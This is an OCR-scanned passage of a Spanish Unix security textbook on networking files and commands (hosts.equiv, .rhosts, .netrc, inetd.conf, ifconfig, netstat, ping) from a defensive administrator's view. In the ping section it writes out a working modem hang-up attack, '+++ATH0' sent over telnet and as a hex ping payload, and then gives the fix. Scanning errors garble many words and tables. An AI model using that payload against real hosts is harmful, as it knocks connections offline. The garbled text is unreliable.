Para prevenir ataques de IP Spoofing contra el sistema, el niicleo de SCO Openserver introdu- 
ce un niimero aleatorio para generar los numeros de secuencia y el incremento de los mismos en 
los paquetes TCP; el parametro tcp_secret es la semilla que alimenta al generador de numeros 
aleatorios, y su valor puede ser cualquiera entre 0 y 2147483647. El niimero de bits de tcp_secret 
utilizados realmente como semilla lo define el parametro tcp_seqbits, con un valor entre 16 y 26; 
el valor por defecto, 21, es una buena election para nuestra seguridad: si tcp_seqbits es demasiado 
bajo, aumenta la posibilidad de que un pirata pueda adivinar el niimero aleatorio que se genera - 
lo que le facilitarfa el ataque -, pero si es demasiado alto se reduce el intervalo entre la aparicion 
de dos numeros de secuencia iguales, lo que evidentemente tambien facilita un ataque. 

9.7 Resumen 

En este capitulo hemos hablado de ciertos parametros del kernel de un sistema Unix que pueden 
afectar a su seguridad, principalmente a nivel de red y de lfmites de recursos (para prevenir ata- 
ques de negation de servicio, voluntaries o involuntarios, por parte de los usuarios). Aunque las 
bases de todos los problemas suelen ser comunes a cualquier Unix, se ha particularizado la forma 
de evitarlos para algunos de los clones mas utilizados; en el caso de Unices no vistos aquf, pero 
tambien en los que hemos tratado (se trata de information que puede cambiar entre versiones de un 
mismo operativo), es indispensable - se dijo en la introduction y se insiste ahora - consultar la 
documentation del sistema y asegurarse muy bien de lo que se esta haciendo antes de reconfigurar 
un niicleo, ya que un error aquf puede ser fatal para la maquina. 

En la tabla 9.1 se presentan de forma compacta los parametros vistos en este capitulo para los 
diferentes clones de Unix; hemos preferido no clar valores ‘optimos’ para cada uno de ellos, ya que 
el valor ideal viene dado por las caracterfsticas de cada sistema: cada administrador ha de conocer 
lo que es habitual en sus maquinas para de esta forma detectar lo inusual, y con ello los posibles 
problemas de seguridad que puedan existir. 




Tabla 9.1: Parametros del nucleo para diferentes Unices 
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Capitulo 10 


El sistema de red 


10.1 Introduction 

Por sistema de red de un equipo Unix se entiende el conjunto de software que posibilita la interco- 
nexion entre diferentes maquinas. Este software esta dividido en dos espacios: por un lado, tenemos 
el soporte de red dentro del kernel del sistema operativo, encargado de implementar las tareas de 
mas bajo nivel necesarias para la comunicacion entre sistemas, como la pila de protocolos tcp/ip 
o los controladores de tarjetas de red; por otro, ya en el espacio de usuario, tenemos el conjunto 
de programas y ficheros utilizados para configurar parametros del sistema relacionados con la red, 
como la direction IP, las tablas de rutado, o el comportamiento de una maquina ante solicitudes 
de servicio desde otros equipos conectados logicamente a ella. 

En este trabajo vamos a hablar exclusivamente de este software de usuario (tanto utilidades como 
ficheros) que de una u otra forma puede afectar a la seguridad global del equipo. Se trata de una 
pequena - muy pequeha - introduction a esta parte del sistema de red en Unix, sin entrar en 
ningun detalle; para temas mas concretos, como la configuracion del soporte de red en niicleo, la 
configuration de interfaces de red, servicios de nombres o la configuracion de las tablas de rutado, 
se puede consultar [Fri95], [Hun92], [NSS89] o, en el caso de maquinas Linux, [Kir95]. 


10.2 Algunos ficheros importantes 

10.2.1 El fichero /etc/hosts 

Este fichero se utiliza para obtener una relation entre un nombre de maquina y una direction 
IP: en cada lfnea de /etc/hosts se especifica una direction ip y los nombres de maquina que le 
corresponden, de forma que un usuario no tenga que recordar direcciones sino nombres de hosts. 
Habitualmente se suelen incluir las direcciones, nombres y aliases de todos los equipos conectados 
a la red local, de forma que para comunicacion dentro de la red no se tenga que recurrir a DNS 
a la hora de resolver un nombre de maquina. El formato de una lfnea de este fichero puede ser el 
siguiente: 

158.42.2.1 pleione pleione.cc.upv.es pleione.upv.es 

Esta lfnea indica que sera equivalente utilizar la direction 158.42.2.1, el nombre de maquina 
pleione, o los aliases pleione . cc . upv . es y pleione . upv . es cuando queramos comunicarnos con 
este ser vidor: 

luisa:~# telnet pleione 
Trying 158.42.2.1... 

Connected to pleione.cc.upv.es 
Escape character is 
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Connection closed by foreign host. 
luisa:~# telnet 158.42.2.1 
Trying 158.42.2.1... 

Connected to pleione.cc.upv.es 
Escape character is ’ ~] ’ . 

Connection closed by foreign host, 
luisa: ~# 

10.2.2 El archivo /etc/ethers 

De la misma forma que en /etc/hosts se establecfa una correspondencia entre nombres de maquina 
y sus direcciones ip, en este fichero se establece una correspondencia entre nombres de maquina y 
direcciones ethernet, en un formato muy similar al archivo anterior: 

00 : 20 : 18 : 72 : cT : 95 pleione . cc . upv . es 

En la actualidad el archivo /etc/ethers no se suele encontrar (aunque para el sistema sigue con- 
servando su funcionalidad, es decir, si existe se tiene en cuenta) en casi ninguna maquina Unix, ya 
que las direcciones hardware se obtienen por ARP. 

10.2.3 El fichero /etc/networks 

Este fichero, cada vez mas en desuso, permite asignar un nombre simbolico a las redes, de una 
forma similar a lo que /etc/hosts hace con las maquinas. En cada lfnea del fichero se especifica 
un nombre de red, su direction, y sus aliases: 

luisa: ~# cat /etc/networks 
loopback 127. 0.0.0 

localnet 195.195.5.0 

luisa: ~# 

El uso de este fichero es casi exclusivo del arranque del sistema, cuando aun no se dispone de 
servidores de nombres; en la operation habitual del sistema no se suele utilizar, ya que ha sido 
desplazado por DNS. 

10.2.4 El fichero /etc/services 

En cada lfnea de este fichero se especifican el nombre, numero de puerto, protocolo utilizado y 
aliases de todos los servicios de red existentes (o, si no de todos los existentes, de un subconjunto lo 
suficientemente amplio para que ciertos programas de red funcionen correctamente) . Por ejemplo, 
para especificar que el servicio de smtp utilizara el puerto 25, el protocolo TCP y que un alias para 
el es mail, existira una lfnea similar a la siguiente: 

smtp 25/tcp mail 

El fichero / etc/ services es utilizado por los servidores y por los clientes para obtener el numero de 
puerto en el que deben escuchar o al que deben enviar peticiones, de forma que se pueda cambiar 
(aunque no es lo habitual) un numero de puerto sin afectar a las aplicaciones; de esta forma, 
podemos utilizar el nombre del servicio en un programa y la funcion getservicebynameO en lugar 
de utilizar el numero del puerto: 

luisa: ~# telnet anita 25 
Trying 195.195.5.3... 

Connected to anita. 

Escape character is ’ ~] ’ . 

220 anita ESMTP Sendmail 8 . 9 . lb+Sun/8 . 9 . 1 ; Sun, 31 Oct 1999 06:43:06 GMT 
quit 
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221 anita closing connection 
Connection closed by foreign host. 
luisa:~# telnet anita smtp 
Trying 195.195.5.3... 

Connected to anita. 

Escape character is ’ ~] ’ . 

220 anita ESMTP Sendmail 8 . 9 . lb+Sun/8 . 9 . 1 ; Sun, 31 Oct 1999 06:43:20 GMT 
quit 

221 anita closing connection 
Connection closed by foreign host, 
luisa: ~# 

Este fichero NO se utiliza para habilitar o deshabilitar servicios, sino como hemos dicho, simple- 
mente para obtener numeros de puerto a partir de nombres de servicio y viceversa. 

10.2.5 El fichero /etc/protocols 

El sistema de red en Unix utiliza un numero especial, denominado nrimero de protocolo, para 
identificar el protocolo de transporte especffico que la maquina recibe; esto permite al software de 
red clecodificar correctamente la information recibida. En el archivo /etc/protocols se identifican 
todos los protocolos de transporte reconocidos junto a su numero de protocolo y sus aliases: 

luisa: ~# cat /etc/protocols 


ip 

0 

IP 

# 

internet protocol, pseudo protocol number 

iemp 

1 

ICMP 

# 

internet control message protocol 

igmp 

2 

IGMP 

# 

internet group multicast protocol 

ggP 

3 

GGP 

# 

gateway-gateway protocol 

tep 

6 

TCP 

# 

transmission control protocol 

pup 

12 

PUP 

# 

PARC universal packet protocol 

udp 

17 

UDP 

# 

user datagram protocol 

idp 

22 

IDP 

# 

WhatsThis? 

raw 

255 

RAW 

# 

RAW IP interface 


luisa: ~# 

No es usual - ni recomendable - que el administrador modifique este fichero; es el software de red 
el que lo va actualizando al ser instalado en la maquina 

10.2.6 El fichero /etc/hosts . equiv 

En este fichero se indican, una en cada linea, las maquinas confiables. iQue significa confiablesl 
Basicamente que confiamos en su seguridad tanto como en la nuestra, por lo que para facilitar la 
comparticion de recursos, no se van a pedir contrasehas a los usuarios que quieran conectar desde 
estas maquinas con el mismo login, utilizando las ordenes BSD r* (r login, rsh, rep...). Por 
ejemplo, si en el fichero / etc/hosts . equiv del servidor maquinal hay una entrada para el nombre 
de host maquina2, cualquier usuario 1 de este sistema puede ejecutar una orden como la siguiente 
para conectar a maquinal ;sin necesidad de ninguna clave!: 

maquina2:~$ rlogin maquinal 

Last login: Sun Oct 31 08:27:54 from localhost 

Sun Microsystems Inc. SunOS 5.7 Generic October 1998 

maquinal : 

Obviamente, esto supone un gran problema de seguridad, por lo que lo mas recomendable es que 
el fichero /etc/hosts . equiv este vaefo o no exista. De la misma forma, los usuarios pueden 
crear hcheros $H0ME/ . rhosts para establecer un mecanismo de confiabilidad bastante similar al de 

1 Except. o el root. 
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/etc/hosts . equiv; es importante para la seguridad de nuestro sistema el controlar la existencia 
y el contenido de estos archivos .rhosts. Por ejemplo, podemos aprovechar las facilidades de 
planificacion de tareas de Unix para, cada cierto tiempo, chequear los directories $H0ME de los 
usuarios en busca de estos ficheros, eliminandolos si los encontramos. Un shellscript que hace esto 
puede ser el siguiente: 

# ! /bin/ sh 

for i in 'cat /etc/passwd lawk -F : ’{print $6}’'; do 
cd $i 

if [ -f .rhosts ]; then 

echo "$i/. rhosts detectado" Imail -s "rhosts" root 
rm -f $i/. rhosts 
fi 

done 

Este programa envia un correo al root en caso de encontrar un fichero .rhosts, y lo elimina; 
podemos planificarlo mediante cron para que se ejecute, por ejemplo, cada cinco minutos (la forma 
de planificarlo depende del cion de Unix en el que trabajemos, por lo que se recomienda consultar 
la pagina del manual de cron o crond). 

10.2.7 El fichero .netre 

El mecanismo de autenticacion que acabamos de ver solo funciona con las ordenes r* de Unix BSD; 
la conexion via ftp seguira solicitando un nombre de usuario y una clave para acceder a sistemas 
remotos. No obstante, existe una forma de automatizar ftp para que no solicite estos clatos, y 
es mediante el uso de un archivo situado en el directorio $HOME de cada usuario (en la maquina 
desde donde se invoca a ftp, no en la servidora) y llamado .netre. En este fichero se pueden 
especificar, en texto claro, nombres de maquina, nombres de usuario y contrasehas de sistemas 
remotos, de forma que al conectar a ellos la transferencia de estos datos se realiza automaticamente, 
sin ninguna interaction con el usuario. Por ejemplo, imaginemos que el usuario 'root’ del sistema 
luisa conecta habitualmente a rosita por ftp, con nombre de usuario ‘toni’; en su $HOME de 
luisa puede crear un fichero .netre como el siguiente: 

luisa: ~# cat $H0ME/. netre 
machine rosita 
login toni 
password h/10&54 
luisa: ~# 

Si este archivo existe, cuando conecte al sistema remoto no se le solicitaran ningun nombre de 
usuario ni contraseha: 

luisa : ~# ftp rosita 
Connected to rosita. 

220 rosita FTP server (Version wu-2.6.0(l) Thu Oct 21 12:27:00 EDT 1999) ready. 
331 Password required for toni. 

230 User toni logged in. 

Remote system type is UNIX. 

Using binary mode to transfer files. 
ftp> 

La existencia de ficheros .netre en los $HOME de los usuarios se puede convertir en un grave 
problema de seguridad: si un atacante consigue leer nuestro fichero .netre, automaticamente 
obtiene nuestro nombre de usuario y nuestra clave en un sistema remoto. Por tanto, no es de 
extranar que para que el mecanismo funcione correctamente, este fichero solo puede ser lefdo por 
su propietario; si no es asi, no se permitira el acceso al sistema remoto (aunque los datos de . netre 
sean correctos): 
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luisa:~# ftp rosita 
Connected to rosita. 

220 rosita FTP server (Version wu-2.6.0(l) Thu Oct 21 12:27:00 EDT 1999) ready. 
Error - .netrc file not correct permissions. 

Remove password or correct mode (should be 600) . 
f tp> 

Existe una diferencia abismal entre el uso de .rhosts y el de .netrc; en el primer caso al menos 
conseguimos que nuestra clave no se envie a traves de la red, pero mediante .netrc lo unico que 
conseguimos es no tener que teclear la clave y el login explfcitamente: se envfan de forma automatica. 
Ademas de esto, si alguien consigue privilegios de administrador en la maquina cliente, podra leer 
los posibles archivos .netrc que sus usuarios posean; por tanto, este mecanismo solo se ha de 
utilizar para conexiones a sistemas remotos como usuario anonimo (anonymous o ftp). Quizas 
nos convenga rastrear periodicamente los directories de conexion de nuestros usuarios en busca de 
archivos .netrc, por ejemplo mediante un shellscript muy similar al que hemos visto para buscar 
ficheros .rhosts. 

10.2.8 El fichero /etc/inetd. conf 

Este fichero es el utilizado por el demonio inetd, conocido como el superservidor de red. El de- 
monio inetd es el encargado de ofrecer la mayoria de servicios de nuestro equipo hacia el resto de 
maquinas, y por tanto debemos cuidar mucho su correcta configuration. Posteriormente hablaremos 
de como restringir servicios, tanto ofrecidos por este demonio como servidos independientemente. 

Cada lfnea (excepto las que comienzar por ‘ # ’ , que son tratadas como comentarios) del archi- 
vo /etc/inetd. conf le indica a inetd como se ha de comportar cuando recibe una peticion en 
cierto puerto; en cada una de ellas existen al menos seis campos (en algunos clones de Unix pueden 
ser mas, como se explica en [SH95]), cuyo significado es el siguiente: 

• Servicio 

Este campo indica el nombre del servicio asociado a la linea correspondiente de 
/etc/inetd. conf; el nombre ha de existir en /etc/services para ser considerado correcto, 
o en /etc/rpc si se trata de servicios basados en el RPC ( Remote Procedure Call) de Sun 
Microsystems. En este ultimo caso se ha de acompahar el nombre del servicio con el niimero 
de version RPC, separando ambos con el caracter ‘ / ’ . 

• Socket 

Aquf se indica el tipo de socket asociado a la conexion. Aunque clependiendo del cion de Unix 
utilizado existen una serie de identificadores validos, lo normal es que asociado al protocolo 
TCP se utilicen sockets de tipo stream, mientras que si el protocolo es UDP el tipo del socket 
sea dgram (datagrama). 

• Protocolo 

El protocolo debe ser un protocolo definido en /etc/protocols, generalmente TCP o UDP. 

Si se trata de servicios RPC, de nuevo hay que indicarlo utilizando rpc antes del nombre del 
protocolo, separado de el por el caracter ‘ / ’ al igual que sucedia con el nombre; por ejemplo, 
en este caso podrfamos tener protocolos como rpe/tep o rpc/udp. 

• Concurrencia 

El campo de concurrencia solamente es aplicable a sockets de tipo datagrama (dgram); el 
resto de tipos han de contener una entrada nowait en este campo. Si el servidor que ha de 
atender la peticion es multihilo (es decir, puede anteder varias peticiones simultaneamente), 
hemos de indicarle al sistema de red que libere el socket asociado a una conexion de forma 
que inetd pueda seguir aceptando peticiones en dicho socket, en este caso utilizaremos la 
option nowait. Si por el contrario se trata de un servidor unihilo (acepta peticiones de forma 
secuencial, hasta que no finaliza con una no puede escuchar la siguiente) especificaremos wait. 
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Especificar correctamente el modelo de concurrencia a seguir en un determinado servicio 
es importante para nuestra seguridad, especialmente para prevenir ataques de negacion de 
servicio (DoS). Si especificamos wait, inetd no podra atender una peticion hasta que no fi- 
nalice el servicio de la actual, por lo que si este servicio es muy costoso la segunda peticion no 
sera servida en un tiempo razonable (o incluso nunca, si inetd se queda bloqueado por cual- 
quier motivo). Si por el contrario especificamos nowait, el numero de conexiones simultaneas 
quizas llegue a ser lo suficientemente grande como para degradar las prestaciones del sistema, 
lo que por supuesto no es conveniente para nosotros. Para evitar ataques de este estilo, la 
mayorfa de sistemas Unix actuales permiten especificar (junto a wait o nowait, separado de 
el por un punto) el numero maximo de peticiones a un servicio durante un intervalo de tiempo 
(generalmente un minuto), de forma que si este numero se sobrepasa inetd asume que alguien 
esta intentando una negacion de servicio contra el, por lo que deja de ofrecer ese servicio du- 
rante cierto tiempo (algunos clones de Unix incluso paran inetd, es conveniente consultar la 
documentation en cada caso) . Como evidentemente esto tambien es una negacion de servicio, 
algo muy comiin entre administradores es aprovechar las facilidades de planificacion de Unix 
para enviar cada poco tiempo la serial SIGHUP al demonio inetd, de forma que este relea su 
fichero de configuracion y vuelva a funcionar normalmente. Por ejemplo, para conseguir esto 
podemos anadir a nuestro fichero crontab una lfnea como la siguiente: 

00,10,20,30,40,50 * * * * pkill -HUP inetd 

Con esto conseguimos que inetd se reconfigure cada diez minutos (el equivalente a pkill en 
ciertos Unices es killall, pero es recomendable consultar el manual para asegurarse de lo 
que esta orden provoca). 

• Usuario 

En este campo se ha de indicar el nombre de usuario bajo cuya identidad se ha de ejecutar el 
programa que atiende cada servicio; esto es asi para poder lanzar servidores sin que posean los 
privilegios del root, con lo que un posible error en su funcionamiento no tenga consecuencias 
excesivamente graves. Para el grupo, se asume el grupo primario del usuario especificado, 
aunque se puede indicar un grupo diferente indicandolo junto al nombre, separado de este por 
un punto. 

• Programa 

Por ultimo, en cada linea de /etc/ inetd . conf hemos de indicar la ruta del programa encarga- 
do de servir cada peticion que inetd recibe en un puerto determinado, junto a los argumentos 
de dicho programa. El servidor inetd es capaz de ofrecer pequehos servicios basado en TCP 
por si mismo, sin necesidad de invocar a otros programas; ejemplos de este tipo de servicios 
son time, echo o chargen. En este caso, el valor de este campo ha de ser internal. 

De esta forma, si en /etc/inetd. conf tenemos una linea como 

telnet stream tcp nowait root /usr/sbin/in.telnetd 

entonces inetd sabe que cuando reciba una peticion al puerto telnet ha de abrir un socket tipo 
stream (el habitual para el protocolo TCP) y ejecutar forkO y exec() del programa 
/usr/sbin/in.telnetd, bajo la identidad de root. 

10.3 Algunas ordenes importantes 

10.3.1 La orden ifconfig 

La orden ifconfig se utiliza para configurar correctamente los interfaces de red de nuestro sistema 
Unix; habitualmente con ifconfig se indican parametros como la direction IP de la maquina, la 
mascara de la red local o la direction de broadcast. Si como parametros se recibe unicamente un 
nombre de dispositivo, ifconfig nos muestra su configuracion en este momento: 
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anita:/# ifconfig neiO 

neiO : flags=863<UP, BROADCAST, NDTRAILERS, RUNNING, MULTICAST> mtu 1500 
inet 195.195.5.3 netmask ffffffOO broadcast 195.195.5.255 
ether 0 : 20 : 18 : 72 : 45 : ad 

anita: /# 

Ya hemos dicho que aquf no vamos a hablar de la configuracion de estos dispositivos, sino de sus 
consideraciones de seguridad. Podemos utilizar ifconfig para detectar un funcionamiento anomalo 
de la tarjeta de red; este ‘funcionamiento anomalo’ suele ser la causa (siempre en cuanto a seguridad 
se trata) de uno de los tres siguientes problemas: 

• Direction IP incorrecta. 

Es posible que alguien este realizando un ataque de tipo IP Spoofing utilizando nuestro sistema: 
si utilizamos la direction ip de otro equipo, las peticiones que irian a el van a llegar a nosotros 2 . 
Estamos suplantando su identidad, hecho que un atacante puede aprovechar para capturar 
todo tipo de information (desde claves hasta correo electronico) . 

• Direction MAC incorrecta. 

Esto puede denotar un ataque similar al anterior, pero mas elaborado: estamos suplantando 
la identidad de otro equipo no solo a nivel de IP, sino a nivel de direction MAC. Cuando esto 
sucede, casi con toda seguridad se acompana de un IP Spoof para conseguir una suplantacion 
que no sea tan facil de detectar como el IP Spoof a, secas. 

• Tarjeta en modo promiscuo. 

Alguien ha instalado un sniffer en nuestro sistema y ha puesto la tarjeta de red en modo 
promiscuo, para capturar todas las tramas que esta ‘ve’. Es un metodo muy utilizado por 
atacantes que han conseguido privilegio de superusuario en la maquina (es necesario ser root 
para situar a la tarjeta en este modo de operation) y se esta dedicando a analizar el trafico 
de la red en busca de logins y claves de usuarios de otros equipos. 

10.3.2 La orden route 

Este comando se utiliza para configurar las tablas de rutado del niicleo de nuestro sistema. Gene- 
ralmente en todo equipo de una red local tenemos al menos tres rutas: la de loopback , utilizando 
el dispositivo de bucle interno (lo, loO. . .), la de red local ( localnet ), que utiliza la tarjeta de 
red para comunicarse con equipos dentro del mismo segmento de red, y una default que tambien 
utiliza la tarjeta para enviar a un router o gateway paquetes que no son para equipos de nuestro 
segmento. Si no se especifica ningun parametro, route muestra la configuracion actual de las tablas 
de rutado 3 : 

andercheran: ~# route 
Kernel routing table 


Destination 

Gateway 

Genmask 

Flags 

MSS 

Window 

Use 

If ace 

localnet 

* 

255.255.0.0 

U 

1500 

0 

16 

ethO 

loopback 

* 

255.0.0.0 

U 

3584 

0 

89 

lo 

default 

atlas . cc .upv. es 

* 

UG 

1500 

0 

66 

ethO 


andercheran : ~# 

Si route nos muestra una configuracion sospechosa (esto es, las tablas no son las que en el sistema 
hemos establecido como administradores, aunque todo funcione correctamente) esto puede denotar 
un ataque de simulation: alguien ha desviado el trafico por un equipo que se comporta de la misma 
forma que se comportarfa el original, pero que seguramente analiza toda la information que pasa 
por el. Hemos de recalcar que esto suele ser transparente al buen funcionamiento del equipo (no 

2 Si el otro equipo no esta activo; si lo esta, ninguno funcionara correctamente. 

3 En algunos Unix, esto se consigue con la orden netstat -r. 
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notamos ni perdida de paquetes, ni retardos excesivos, ni nada sospechoso), y que ademas el ata- 
cante puede modificar los ficheros de arranque del sistema para, en caso de reinicio de la maquina, 
volver a tener configuradas las rutas a su gusto; estos ficheros suelen del tipo /etc/rc . d/rc . inetl 
o /etc/rc? . d/S*inet. 

Tambien es posible que alguien este utilizando algun elemento utilizado en la conexion entre nuestro 
sistema y otro (un router, una pasarela. . . ) para amenazar la integridad de nuestro equipo; si que- 
remos comprobar el camino que siguen los paquetes desde que salen de la maquina hasta que llegan 
al destino, podemos utilizar la orden traceroute. Sin embargo, este tipo de ataques es mucho mas 
dificil de detectar, y casi la unica herramienta asequible para evitarlos es la criptografia. 

10.3.3 La orden netstat 

Esta orden se utiliza para visualizar el estado de diversas estructuras de datos del sistema de red, 
desde las tablas de rutado hasta el estado de todas las conexiones a y desde nuestra maquina, 
pasando por las tablas ARP, en funcion de los parametros que reciba. 

En temas referentes a la seguridad, netstat se suele utilizar, aparte de para mostrar las tablas 
de rutado de ciertos sistemas (con la opcion -r, como hemos visto antes), para mostrar los puertos 
abiertos que escuchan peticiones de red y para visualizar conexiones a nuestro equipo (o desde el) 
que puedan salirse de lo habitual. Veamos un ejemplo de information mostrada por netstat: 


anita:/# netstat -P tcp -f inet -a 
TCP 


Local Address 

Remote Address 

Swind 

Send-Q 

Rwind 

Recv-Q 

State 

* . * 

* . * 

0 

0 

0 

0 

IDLE 

* . sunrpc 

* . * 

0 

0 

0 

0 

LISTEN 

* . * 

* . * 

0 

0 

0 

0 

IDLE 

* . 32771 

* . * 

0 

0 

0 

0 

LISTEN 

* . ftp 

* . * 

0 

0 

0 

0 

LISTEN 

* . telnet 

* . * 

0 

0 

0 

0 

LISTEN 

* .finger 

* . * 

0 

0 

0 

0 

LISTEN 

* . dtspc 

* . * 

0 

0 

0 

0 

LISTEN 

* . lockd 

* . * 

0 

0 

0 

0 

LISTEN 

* . smtp 

* . * 

0 

0 

0 

0 

LISTEN 

* . 8888 

* . * 

0 

0 

0 

0 

LISTEN 

*.32772 

* . * 

0 

0 

0 

0 

LISTEN 

*.32773 

* . * 

0 

0 

0 

0 

LISTEN 

* .printer 

* . * 

0 

0 

0 

0 

LISTEN 

* . listen 

* . * 

0 

0 

0 

0 

LISTEN 

* . 32774 

* . * 

0 

0 

0 

0 

LISTEN 

* . * 

* . * 

0 

0 

0 

0 

IDLE 

* . 6000 

* . * 

0 

0 

0 

0 

LISTEN 

*.32775 

* . * 

0 

0 

0 

0 

LISTEN 

localhost . 32777 

localhost . 32775 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32775 

localhost . 32777 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32780 

localhost . 32779 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32779 

localhost . 32780 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32783 

localhost . 32775 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32775 

localhost . 32783 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32786 

localhost . 32785 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32785 

localhost . 32786 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32789 

localhost . 32775 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32775 

localhost . 32789 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32792 

localhost . 32791 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32791 

localhost . 32792 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 32810 

localhost . 6000 

32768 

0 

32768 

0 

ESTABLISHED 

localhost . 6000 

localhost . 32810 

32768 

0 

32768 

0 

ESTABLISHED 
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anita. telnet 
anita. telnet 
localhost . 32879 
* . * 

anita: /# 


luisa. 2039 16060 0 10136 

bgates .microsoft . com. 1068 15928 0 10136 
localhost. 32775 32768 0 32768 

* . * 0 0 0 


0 ESTABLISHED 
0 ESTABLISHED 
0 TIME.WAIT 
0 IDLE 


Por un lado, en este caso vemos que hay bastantes puertos abiertos, esto es, escuchando peticiones: 
todos los que presentan un estado LISTEN, como telnet, finger o smtp (si es un servicio con 
nombre en /etc/services se imprimira este nombre, y si no simplemente el numero de puerto). 
Cualquiera puede conectar a este servicio (como veremos en el siguiente punto) y, si no lo evitamos 
mediante TCP Wrappers, utilizarlo para enviarle peticiones. 


Aparte de estos puertos a la espera de conexiones, vemos otro gran numero de conexiones es- 
tablecida entre nuestro sistema y otros (como antes hemos dicho, desde nuestro equipo o hacia el) ; 
casi todas las establecidas (estado established) son de nuestra maquina contra ella misma, lo que a 
priori no implica consecuencias de seguridad. Otra de ellas es desde un equipo de la red local contra 
nuestro sistema, lo que tambien es bastante normal y no debe hacernos sospechar nada 4 ; sin embar- 
go, hay una conexion que si puede indicar que alguien ha accedido a nuestro sistema de forma no 
autorizada: si nos fijamos, alguien conecta por telnet desde la maquina bgates.microsoft.com. 
Es raro que tengamos a un usuario alii, por lo que deberiamos monitorizar esta conexion y las 
actividades que esta persona realice; es muy probable que se trate de alguien que ha aprovechado 
la inseguridad de ciertos sistemas para utilizarlos como plataforma de ataque contra nuestros Unix. 


10.3.4 La orden ping 

El comando ping se utiliza generalmente para testear aspectos de la red, como comprobar que un 
sistema esta encendido y conectado; esto se consigue enviando a dicha maquina paquetes ICMP (de 
tipo echo.REQUESt), tramas que causaran que el nucleo del sistema remoto responda con paquetes 
ICMP, pero esta vez de tipo echo.RESPONSE. A1 recibirlos, se asume que la maquina esta encendida: 

anita: ~# ping luisa 
luisa is alive 
anita: ~# 

En otras variantes de Unix (el ejemplo anterior es sobre Solaris) la orden ping produce un resultado 
con mas information: 

luisa: ~# ping -c 1 anita 

PING anita (195.195.5.3): 56 data bytes 

64 bytes from 195.195.5.3: icmp_seq=0 ttl=255 time=0.2 ms 
luisa ping statistics 

1 packets transmitted, 1 packets received, 07, packet loss 
round-trip min/avg/max = 0.2/0. 2/0. 2 ms 
luisa: ~# 

Aunque un simple ping resulta inofensivo en la mayoria de situaciones, existen casos en los que se 
puede utilizar como un arma - efectiva - para atacar sistemas; por ejemplo, uno de los ataques mas 
conocidos es el Ping Flood, consistente en saturar una linea lenta con un numero de paquetes ICMP 
suficientemente grande. Esta saturation causara una degradation del servicio importante, incluso la 
desconexion del sistema si se ataca una linea telefonica (un objetivo muy habitual para los piratas) . 
En este ultimo caso, el de conexiones telefonicas, otro ataque comiin - no directamente relacionado 
con ping, pero en el que se usa esta herramienta como base - consiste en enviar una trama ‘especial’ 
a un modem, obligandole a finalizar la llamada: los modems conmutan a modo comando cuando 

4 Seguramente, uno de nuestros usuarios estara trabajando desde ese ordenador, aunque tambien podrla tratarse 
de un atacante. . . 
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reciben la orclen ‘ +++ ’ , y muchos de ellos lo hacen tambien al recibir remotamente esta secuencia 
de control. Asi, podemos conectar a un puerto donde se ofrezca determinado servicio (como ftp o 
SMTP) en un host con un modem de estas caracteristicas y colgar el modem remoto sin levantarnos 
de la silla, simplemente enviando la cadena ' +++ ’ seguida de una orden de colgado como ‘ ATHO ’ : 

luisa: ~# telnet XXX. XXX. X. XX 21 
Trying XXX . XXX . X . XX . . . 

Connected to XXX. XXX. X. XX. 

Escape character is ’ . 

220 gema FTP server (Version wu-2. 4. 2-academ [BETA-15] (1) Fri Oct 22 
00:38:20 CDT 1999) ready. 

USER +++ATH0 
~] 

telnet> close 

Connection closed. 

luisa: ~# telnet XXX. XXX. X. XX 

Trying XXX . XXX . X . XX . . . 

telnet : Unable to connect to remote host : Network is unreachable 
luisa: ~# 

Bien pero, ^donde entra ping on este ataque? Muy sencillo: al conectar a un servicio para enviar 
la cadena de caracteres, lo habitual es que el sistema remoto registre la conexion, aunque luego su 
modem cuelgue. En cambio, muy pocos sistemas registran en los logs un simple ping, por lo que 
esta orden se convierte en un mecanismo que algunos piratas utilizan para no clejar rastro de sus 
acciones; esto se consigue de una forma muy sencilla: en la utilidad ping de la mayoria de Unices 
existe un parametro que permite especificar el contenido del paquete enviado (por ejemplo, ‘-p’ 
en Linux) , por lo que simplemente hemos de insertar (en hexadecimal) la cadena ' +++ATH0 ’ en la 
trama que enviamos al sistema remoto: 

luisa: ~# ping -c 1 XXX. XXX. X. XX 

PING XXX. XXX. X. XX (XXX. XXX. X. XX) : 56 data bytes 

64 bytes from XXX. XXX. X. XX: icmp_seq=0 ttl=255 time=0.2 ms 

— XXX. XXX. X. XX ping statistics — 

1 packets transmitted, 1 packets received, 07, packet loss 
round-trip min/avg/max = 6. 5/6. 5/6. 5 ms 
luisa: ~# ping -p 2b2b2b415448300d XXX. XXX. X. XX 
PING XXX. XXX. X. XX (XXX. XXX. X. XX) : 56 data bytes 

~C 

XXX. XXX. X. XX ping statistics — 

1 packets transmitted, 0 packets received, 1007 0 packet loss 
luisa: ~# telnet XXX. XXX. X. XX 
Trying XXX . XXX . X . XX . . . 

telnet: Unable to connect to remote host: Network is unreachable 
luisa: ~# 

Para evitar los problemas relacionados con los paquetes ICMP que sistemas remotos puedan enviar 
a nuestra maquina puede ser conveniente filtrar dicho protocolo mediante un cortafuegos (incluso 
situado en el propio equipo); si no tenemos esta posibilidad, al menos es interesante registrar las 
tramas de este tipo que llegan hasta nuestra maquina, con programas como icmpinfo (si hacemos 
esto, hemos de tener cuidado con las negaciones de servicio ocasionadas por una cantidad de logs 
excesiva en el disco duro). 

Ah, si es nuestro modem el que presenta el problema que acabamos de comentar, podemos so- 
lucionarlo mediante la cadena de inicializacion ‘ s2=255 1 . 
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Esta orden se utiliza para imprimir la ruta que los paquetes siguen desde nuestro sistema hasta 
otra maquina; para ello utiliza el campo ttl ( Time To Live ) del protocolo IP, inicializandolo con 
valores bajos y aumentandolo conforme va recibiendo tramas ICMP cle tipo time_exceeded. La 
idea es sencilla: cada vez que un paquete pasa por un router o una pasarela, esta se encarga de 
